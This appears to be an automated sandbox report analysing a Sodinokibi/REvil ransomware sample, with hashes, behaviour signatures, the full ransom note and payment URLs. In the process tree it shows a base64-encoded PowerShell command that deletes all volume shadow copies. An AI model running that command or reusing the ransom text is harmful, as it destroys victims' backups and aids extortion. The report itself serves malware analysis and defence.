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Analysis

  • max time kernel
    130s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    02/04/2024, 13:53

General

  • Target

    42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe

  • Size

    166KB

  • MD5

    43e9093ffc8dd69985a9ae65b26f5551

  • SHA1

    7b268ff84e824ddcd8b7df3cf9993be012489d01

  • SHA256

    42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d

  • SHA512

    118d879750d0456f5b2e31818815ef9465fb40eac24f4784236c626d2a2e753b5a85ec5b2c66a755b10855c9caaf77bd85b6b3d1fc7003fb029cb703ead9037c

  • SSDEEP

    3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QG9BEJfMt0H:ZJ0BXScFy2RsQJ8zgG9jt0

Malware Config

Extracted

Path

C:\Users\4w9181-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 4w9181. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7B2544B664CF3A9E 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/7B2544B664CF3A9E Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: O/dHAVlk3F+kcGtHb8zOp7AmYEOUpOoSfvmYJsIFa11NKp7kGwGPMlImqNv/BAio 8WGS4si5+9gtGAi9MxmLT8D1tKX54ddcbL8m4CMW33DWZ+jh+SSTnomQplyvaiuw K8qxWs2DBKI1EIZh0B/ITzuKTtkBoSWJLnEfaDwgXwRrMCLMB5VTula0+1q3NajT GjxwL2FgzIgo5dG+Gge1lt7th0vG/bfmmJz+lU4U9JwFOskOvnmNYGCYy12Rgk6C gMfXt8q+odVhEG8iuxXc+xosPLHV8z6mcyN/NZs0kz5IyJEA+OaN7cnZgZgqV3cP Qduq3gf0RJPhXf9OwNhY0DOaCaUtqve3qyvil+F+mHP/Gyy3UBzrnyWR03jdlMNx XjCWTnBd5Q5wf+/8pzXMojl6Pei/XK5rjabnqBrv/9qxjsW4+TuSlG8VX0RPmtkT 5TLN22WQgvMj34gq3jfbHyN4DqnT0O7fKZ2DXkABLhpVdXQtTwfUXuvyD1zYxXE2 BLLTSUoaVB+GFpYeqSZ/RHcdRDzwxXIkcuoheJfN8EL+WXV5D0HUTt6UZf/MAo3a 7Xe0PI6mkCRrCHN6ymumnUeDG+o2ac06zbg0MHxrwDtiT+lCfafqcbFoWIli0FGb lWV4WlwPraRCZVN9LGBgq9H+iHtdl8NTMvo9lpfhSFCkCi4kEgVCLcp6LSDLthaL snbcQlQm6Xo0d/lKJV05oMjOdvM8hc/DzzY/11AVuaQtpBS/5asXdnn1UaGfIyod OZY4EFGyBWTEo32Z5tQDSsxAPhE3rGyfAkmlE4l7rd2aU7THHu60+IIZjlDPmrJc ajacp7TvW27FP5LzYM+YGT5cGzEFMOXcyQMWH4ZErsUrQuhTgtkVzsq3zmktNveO +rnaflezJAdcsjGKceixJa9A1FSCRmgxsuZe/CSbx8T4ipeOKHCpimoaTHDRLzjr 2NXIuCWBr6579GrcSb/Cz3wXCLXOTMhy2IYyZ78nHjCwO4yTIPehTg2hYkutafka w71LtowyL8lDLrxcYzQOSfx3Jmp/EUTVbnhUdEM6gyuCrFECsx4oOFLfPmSKhGGE Z/0zxeG7ehK56Gz/H7Btk4vufSJ13tV9+IX9r9E5ENr6wSd+6Abcpo/Cy05iHM1R uUhaH0uY8WOU3necprvGScVLE3dBPn5rzmsxN0r9wEBp7FLLxmgzR6thDqDgP3I4 Hr7pIa8tQrq+PsJT ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7B2544B664CF3A9E

http://decryptor.cc/7B2544B664CF3A9E

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 31 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
    "C:\Users\Admin\AppData\Local\Temp\42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe"
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2720
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2628
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2568

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\4w9181-readme.txt

      Filesize

      6KB

      MD5

      f3ac14a01133361aca85d6d9b59d3fa8

      SHA1

      37418ad9523b975b99e294a56d4f0d1f553a1688

      SHA256

      6b9270d51cbadc8e256b8b227a901d7e4c853d6a94435801874849dbdd443c4c

      SHA512

      d3b57f9a95db42a6cbf452a0254304db841f68f9731ebf80980c553f5edbd26b903c22d2ccd696ffee994acb841a4d78798f3a5667d927e1292288e6a8afda7e

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

      Filesize

      68KB

      MD5

      29f65ba8e88c063813cc50a4ea544e93

      SHA1

      05a7040d5c127e68c25d81cc51271ffb8bef3568

      SHA256

      1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

      SHA512

      e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

    • C:\Users\Admin\AppData\Local\Temp\Cab64BE.tmp

      Filesize

      65KB

      MD5

      ac05d27423a85adc1622c714f2cb6184

      SHA1

      b0fe2b1abddb97837ea0195be70ab2ff14d43198

      SHA256

      c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

      SHA512

      6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

    • C:\Users\Admin\AppData\Local\Temp\Tar660C.tmp

      Filesize

      177KB

      MD5

      435a9ac180383f9fa094131b173a2f7b

      SHA1

      76944ea657a9db94f9a4bef38f88c46ed4166983

      SHA256

      67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

      SHA512

      1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

    • C:\Windows\System32\catroot2\dberr.txt

      Filesize

      192KB

      MD5

      1d8448e968b926d48abb1cfcbc71751e

      SHA1

      7b50ddeda2cad3026508425b64efa0f55b4b11d2

      SHA256

      05c36922fae149163391a510fe4d1ec79e62ec9f084e7accba5f1a08ed7ad695

      SHA512

      de40e7cf4794b81abcbbb9d4051719c0e044723c82a9d4744238181fedf5eb43f3f78cb5de798afdf8ccb156ebbcc1bcd7e23cf02036381410e1f605fd11eae4

    • memory/2720-7-0x0000000002960000-0x00000000029E0000-memory.dmp

      Filesize

      512KB

    • memory/2720-10-0x0000000002960000-0x00000000029E0000-memory.dmp

      Filesize

      512KB

    • memory/2720-11-0x0000000002960000-0x00000000029E0000-memory.dmp

      Filesize

      512KB

    • memory/2720-12-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

      Filesize

      9.6MB

    • memory/2720-9-0x0000000002960000-0x00000000029E0000-memory.dmp

      Filesize

      512KB

    • memory/2720-8-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

      Filesize

      9.6MB

    • memory/2720-4-0x000000001B340000-0x000000001B622000-memory.dmp

      Filesize

      2.9MB

    • memory/2720-6-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

      Filesize

      9.6MB

    • memory/2720-5-0x0000000002050000-0x0000000002058000-memory.dmp

      Filesize

      32KB